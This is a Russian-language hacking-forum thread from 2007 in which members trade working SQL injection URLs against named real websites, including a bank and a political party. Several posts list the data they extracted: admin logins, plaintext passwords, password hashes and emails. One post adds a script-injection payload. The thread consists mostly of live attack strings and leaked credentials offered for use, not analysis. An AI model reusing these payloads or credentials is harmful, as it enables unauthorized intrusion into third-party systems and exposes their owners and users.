25.08.2007, 14:15
|
|
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
С нами:
9851426
Репутация:
3908
|
|
Код:
http://www.yuta.co.yu/en/yuta/member.asp?id=1+or+1=(SELECT+TOP+1+USERNAME+from+Admin)--
Код:
http://www.yuta.co.yu/en/yuta/member.asp?id=1+or+1=(SELECT+TOP+1+PASSWD+from+Admin)--
Данные админа:
Login: admin
Password: P@ssw0rd
Админка находится по адресу
Код:
http://www.yuta.co.yu/admin/
|
|
|
26.08.2007, 11:08
|
|
Участник форума
Регистрация: 25.05.2007
Сообщений: 147
С нами:
9981026
Репутация:
728
|
|
Банк "Левобережный"
_http://www.nskbl.ru/news/?id=-296+u nion +select+1,2,3,4,5/*
Давно мечтал похекать какой-нибудь банковский ресурс, но прав для чтения из users не хватает, не знаю что еще можно сделать 
Версия 4.0.18
|
|
|
|
26.08.2007, 19:00
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
С нами:
10158086
Репутация:
1359
|
|
бригада  строительная )))
Код:
http://brigada.uz/plugins/ansmt/ansmt_view.php?id=-44+union+select+1,2,3,4,5,6,concat_ws(0x3a,user_name,user_loginname,user_password,user_email),8,9,10,11,12,13,14+from+brigada_user
стоит двиг е107.
|
|
|
|
26.08.2007, 20:40
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
С нами:
10240166
Репутация:
2097
|
|
Урал Инфо Проект
Код:
http://www.uip.ru/index.php?id=-3'+UNION+SELECT+1,%3Cscript%3Ealert('H00k%20%E1%FB%EB%20%E7%E4%E5%F1%FC!')%3C/script%3E,3,4,5,6,7,8+FROM+news+--+
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
|
|
|
|
27.08.2007, 00:29
|
|
Постоянный
Регистрация: 11.11.2005
Сообщений: 391
С нами:
10787366
Репутация:
2277
|
|
в антибояне проверял вроде нет
http://english.fortline.ru/page.php?TPLID=10&ID=-12'+union+select+concat_ws(0x3a,version(),user(),d atabase()),2+/*
5.0.22:fortline@localhost:fortline
http://english.fortline.ru/page.php?TPLID=10&ID=-12'+union+select+concat_ws(0x3a,login,password),2+ from+users/*
admin:Y2g3Yjhh
http://www.muz.md/studio.php?stdid=-11+union+select+1,concat_ws(0x3a,user(),version(), database())/*
adm_music@localhost:4.0.27-log:music
Последний раз редактировалось halkfild; 27.08.2007 в 12:36..
Причина: +1 inject
|
|
|
|
27.08.2007, 13:03
|
|
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
С нами:
9851426
Репутация:
1676
|
|
Код:
http://rustelcard.ru/index.php?option=com_rwcards&task=listCards&category_id=-1'union%20select%201,2,03,4,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),50,044,076,0678,07%20from%20jos_users/*
username:admin
password:06c09e25d642a677aa787b2cdee94350 |
|
|
|
27.08.2007, 13:29
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
С нами:
10240166
Репутация:
2097
|
|
Недвижимость
Код:
http://base.gwru.ru/in.php?id=-459+UNION+SELECT+1,2,3,password,email,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+FROM+users+--+
email:mailbox@gwru.ru
password:60bcdf9367b7aada606e446fecc1a47d
Также на сайте полно Xss
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
|
|
|
|
27.08.2007, 20:29
|
|
Постоянный
Регистрация: 14.03.2007
Сообщений: 367
С нами:
10084646
Репутация:
161
|
|
Либеральная партия Украины
http://www.lpu.org.ua/index.php?area=1+union+select+1,2,3,4,5,6/*
2Grey:
прошу прощенья но по поводу баяна не знал... и вообще каковы критерии для обощения данными аргументами... есть где-то ещё?..
Последний раз редактировалось Y.Dmitriy; 28.08.2007 в 14:49..
|
|
|
|
27.08.2007, 23:27
|
|
Участник форума
Регистрация: 02.08.2007
Сообщений: 242
С нами:
9881483
Репутация:
569
|
|
4 мускул код: http://www.press.try.md/print.php?iddb=Polit&id=-87829+union+select+1,concat(version(),user(),datab ase()),3,4,5,6,7,8/* чет не могу подобрать код: http://press.samsung.ua/news/card.php?id=-212+union+select+1,column_name,3+from+information_ schema.columns/* если боян,то не бейте в репу,а лучше дайте ссылку на антибоян
Последний раз редактировалось fobofob; 28.08.2007 в 00:51..
Причина: Еще inj
|
|
|
|
28.08.2007, 01:23
|
|
Познающий
Регистрация: 24.05.2007
Сообщений: 38
С нами:
9982591
Репутация:
29
|
|
Сообщение от fobofob
4 мускул код: http://www.press.try.md/print.php?iddb=Polit&id=-87829+union+select+1,concat(version(),user(),datab ase()),3,4,5,6,7,8/* чет не могу подобрать код: http://press.samsung.ua/news/card.php?id=-212+union+select+1,column_name,3+from+information_ schema.columns/* если боян,то не бейте в репу,а лучше дайте ссылку на антибоян Ты скажи: откуда в 4 мускуле бд information_schema
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
